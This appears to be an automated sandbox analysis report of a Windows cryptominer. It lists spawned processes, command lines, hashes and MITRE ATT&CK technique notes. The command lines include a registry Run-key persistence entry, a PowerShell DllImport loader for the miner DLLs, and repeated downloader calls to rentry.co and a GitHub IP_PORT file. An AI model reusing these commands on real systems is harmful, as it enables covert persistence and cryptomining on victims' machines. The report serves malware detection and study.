Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA854.tmp" "c:\Users\user\AppData\Local\Temp\CSC34AD3A053BD0482B8F57CF2F2153CA.TMP"
Imagebase:	0x7ff6558f0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:57:41
Start date:	05/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs"
Imagebase:	0x7ff6697c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7632, Parent PID: 7560

General

Target ID:	22
Start time:	05:57:42
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 7680, Parent PID: 7632

General

Target ID:	23
Start time:	05:57:42
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	05:57:42
Start date:	05/08/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
Imagebase:	0x7ff6955e0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:57:42
Start date:	05/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 7244, Parent PID: 7708

General

Target ID:	28
Start time:	05:57:44
Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmhmaghu.cmdline"
Imagebase:	0x7ff710640000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:57:44
Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCBDA.tmp" "c:\Users\user\AppData\Local\Temp\CSC42213DD479FE494FA8153260D2C4A5B2.TMP"
Imagebase:	0x7ff6558f0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:57:48
Start date:	05/08/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping localhost -n 60
Imagebase:	0x7ff76b290000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:57:49
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:57:49
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLL814C.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Imagebase:	0xeb0000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, Virustotal, Browse Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:58:09
Start date:	05/08/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping localhost -n 60
Imagebase:	0x7ff76b290000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:58:09
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL46B0.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:58:09
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLL46B0.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLL46B0.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x9b0000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:58:16
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:58:16
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x820000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:58:23
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:58:23
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLL663C.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x2a0000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:58:30
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:58:30
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLLF657.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Imagebase:	0x100000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:58:36
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:58:36
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLL82AA.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Imagebase:	0x6e0000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:58:41
Start date:	05/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 6328, Parent PID: 7612

General

Target ID:	46
Start time:	05:58:42
Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ahbspsjl.cmdline"
Imagebase:	0x7ff7b0e70000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:58:43
Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB020.tmp" "c:\Users\user\AppData\Local\Temp\CSC591B9E4DE1824FC8AB2EAE3EE41D29C1.TMP"
Imagebase:	0x7ff691090000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:58:43
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:58:43
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLL120A.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0xa00000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:58:52
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	05:58:52
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLLAA54.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x8a0000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	05:58:53
Start date:	05/08/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping localhost -n 60
Imagebase:	0x7ff76b290000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	05:58:59
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	05:58:59
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLL39F2.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x480000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	05:59:00
Start date:	05/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 7968, Parent PID: 7232

General

Target ID:	56
Start time:	05:59:02
Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ck4l4tfe.cmdline"
Imagebase:	0x7ff7b0e70000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	05:59:03
Start date:	05/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFCF8.tmp" "c:\Users\user\AppData\Local\Temp\CSC553B895C4F294EC7A377E88EC4917E34.TMP"
Imagebase:	0x7ff691090000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	05:59:08
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	05:59:08
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLLD067.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Imagebase:	0xd30000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	05:59:14
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	05:59:15
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLL6063.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Imagebase:	0xce0000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	05:59:16
Start date:	05/08/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping localhost -n 60
Imagebase:	0x7ff76b290000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	05:59:21
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x7ff70b6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	64
Start time:	05:59:21
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DLLF060.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Imagebase:	0x70000
File size:	6'542'680 bytes
MD5 hash:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Function 00000248EEE84858 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000248EEE84884
GetCurrentThreadId.KERNEL32 ref: 00000248EEE84892
GetCurrentProcessId.KERNEL32 ref: 00000248EEE8489E
QueryPerformanceCounter.KERNEL32 ref: 00000248EEE848AE

Memory Dump Source

Source File: 0000000A.00000002.3265258055.00000248EEE81000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000248EEE80000, based on PE: true

Associated: 0000000A.00000002.3265148922.00000248EEE80000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3265892139.00000248EEE9F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3266239970.00000248EF2FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3266239970.00000248EF3F7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3266239970.00000248EF412000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3305455598.00000248EF4EB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_248eee80000_powershell.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9c5e5c599d6df5d41a1a721df14b2fd8adc4be323109f16852bde28ea2a2a451
Instruction ID: 99ddec49c7b402331c37b4599449d540f684321f642def97bf9dcfe85f6e8325
Opcode Fuzzy Hash: 9c5e5c599d6df5d41a1a721df14b2fd8adc4be323109f16852bde28ea2a2a451
Instruction Fuzzy Hash: E0110C26B21F059AEB00CFA1E8593BC33A4F759768F441E25EB6D467A4DF78D1A4C380

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

